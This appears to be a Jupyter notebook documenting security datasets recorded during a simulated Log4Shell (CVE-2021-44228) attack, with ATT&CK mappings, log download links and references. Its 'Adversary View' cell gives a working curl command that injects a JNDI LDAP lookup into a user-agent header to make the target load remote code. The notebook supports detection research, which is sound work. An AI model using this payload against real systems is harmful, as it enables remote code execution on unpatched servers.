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Create docs/notebooks/compound/Log4Shell.ipynb
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docs/notebooks/compound/Log4Shell.ipynb
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{
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"cells": [
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{
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"cell_type": "markdown",
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"id": "d3b07fa6",
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"metadata": {},
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"source": [
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"# Log4Shell"
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]
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},
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{
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"cell_type": "markdown",
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"id": "684f8133",
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"metadata": {},
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"source": [
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"## Metadata"
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]
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},
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{
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"cell_type": "markdown",
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"id": "d212eae4",
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"metadata": {},
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"source": [
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"\n",
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"| | |\n",
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"|:------------------|:---|\n",
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"| Contributors | Roberto Rodriguez @Cyb3rWard0g |\n",
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"| Creation Date | 2021/12/11 |\n",
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"| Modification Date | 2022/05/13 |\n",
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"| Tactics | [TA0001](https://attack.mitre.org/tactics/TA0001),[TA0002](https://attack.mitre.org/tactics/TA0002) |\n",
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"| Techniques | [T1190](https://attack.mitre.org/techniques/T1190),[T1203](https://attack.mitre.org/techniques/T1203) |\n",
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"| Tags | None |"
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]
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},
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{
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"cell_type": "markdown",
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"id": "11b5052c",
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"metadata": {},
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"source": [
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"## Dataset Description\n",
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"Datasets created while simulating a threat actor exploiting [CVE 2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228) via a JNDI Reference Java Object.\n",
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"In Log4j <= 2.14, `Message Lookups` were enabled by default creating an input validation vulnerability.\n",
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"A threat actor could take advantage of this vulnerability to make a Java application process JNDI lookups to download and execute Java objects from an attacker controlled naming service.\n",
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"There are a few types of Java objects that can be stored in a directory service.\n",
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"A JNDI reference object is one of them. A JNDI reference jave object points to the location of the Java object requested. \n"
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]
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},
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{
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"cell_type": "markdown",
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"id": "95bdd0d7",
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"metadata": {},
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"source": [
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"## Datasets Downloads"
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]
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},
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{
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"cell_type": "markdown",
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"id": "ff0fa2ad",
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"metadata": {},
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"source": [
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"\n",
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"| Type | Link |\n",
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"|:-------------|:-------|\n",
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"| Network | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/pcap_log4shell_cve2021_44228_jndi_reference.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/pcap_log4shell_cve2021_44228_jndi_reference.zip) |\n",
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"| Network | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/pcap_log4shell_cve2021_44228_java_serialized.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/pcap_log4shell_cve2021_44228_java_serialized.zip) |\n",
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"| Host | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/securityauditing_log4shell_cve2021_44228_java_serialized_object.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/Log4Shell/securityauditing_log4shell_cve2021_44228_java_serialized_object.zip) |\n",
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"| Host | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/sysmon_log4shell_cve2021_44228_java_serialized_object.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/sysmon_log4shell_cve2021_44228_java_serialized_object.zip) |\n",
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"| Network | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/vminsights_vmconnection_log4shell_cve2021_44228_jndi_reference.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/vminsights_vmconnection_log4shell_cve2021_44228_jndi_reference.zip) |\n",
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"| Host | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/syslog_auoms_auditd_log4shell_cve2021_44228_jndi_reference.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/syslog_auoms_auditd_log4shell_cve2021_44228_jndi_reference.zip) |\n",
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"| Host | [https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/syslog_sysmon_log4shell_cve2021_44228_jndi_reference.zip](https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/compound/log4shell/syslog_sysmon_log4shell_cve2021_44228_jndi_reference.zip) |"
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]
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},
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{
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"cell_type": "markdown",
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"id": "1992d236",
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"metadata": {},
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"source": [
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"## Simulation Metadata"
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]
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},
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{
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"cell_type": "markdown",
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"id": "ddcac4c3",
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"metadata": {},
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"source": [
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"### Tools"
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]
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},
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{
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"cell_type": "markdown",
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"id": "7430ef31",
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"metadata": {},
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"source": [
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"\n",
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"| type | Name | Module |\n",
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"|:-----|:-----|--------|\n",
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"| Manual | sh | [sh](https://github.com/Cyb3rWard0g/log4jshell-lab/blob/main/research-notes/2021-12-11_01-CVE-2021-44228-simulation.md) |"
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]
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},
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{
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"cell_type": "markdown",
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"id": "109725eb",
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"metadata": {},
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"source": [
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"## Adversary View\n",
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"```\n",
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"curl -X GET -H 'user-agent: ${jndi:ldap://192.168.2.6:1389/o=reference}' 192.168.2.5:8080/Log4j-2.14.0-SNAPSHOT/api\n",
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"```"
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]
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},
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{
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"cell_type": "markdown",
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"id": "cb00e275",
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"metadata": {},
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"source": [
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"## References\n",
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"* [https://isc.sans.edu/diary/RCE+in+log4j%2C+Log4Shell%2C+or+how+things+can+get+bad+quickly/28120](https://isc.sans.edu/diary/RCE+in+log4j%2C+Log4Shell%2C+or+how+things+can+get+bad+quickly/28120) \n",
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"* [https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell](https://github.com/OTRF/Microsoft-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-44228-Log4Shell) \n",
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"* [https://github.com/Cyb3rWard0g/log4jshell-lab](https://github.com/Cyb3rWard0g/log4jshell-lab) "
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]
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}
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],
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"metadata": {},
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"nbformat": 4,
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"nbformat_minor": 5
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}
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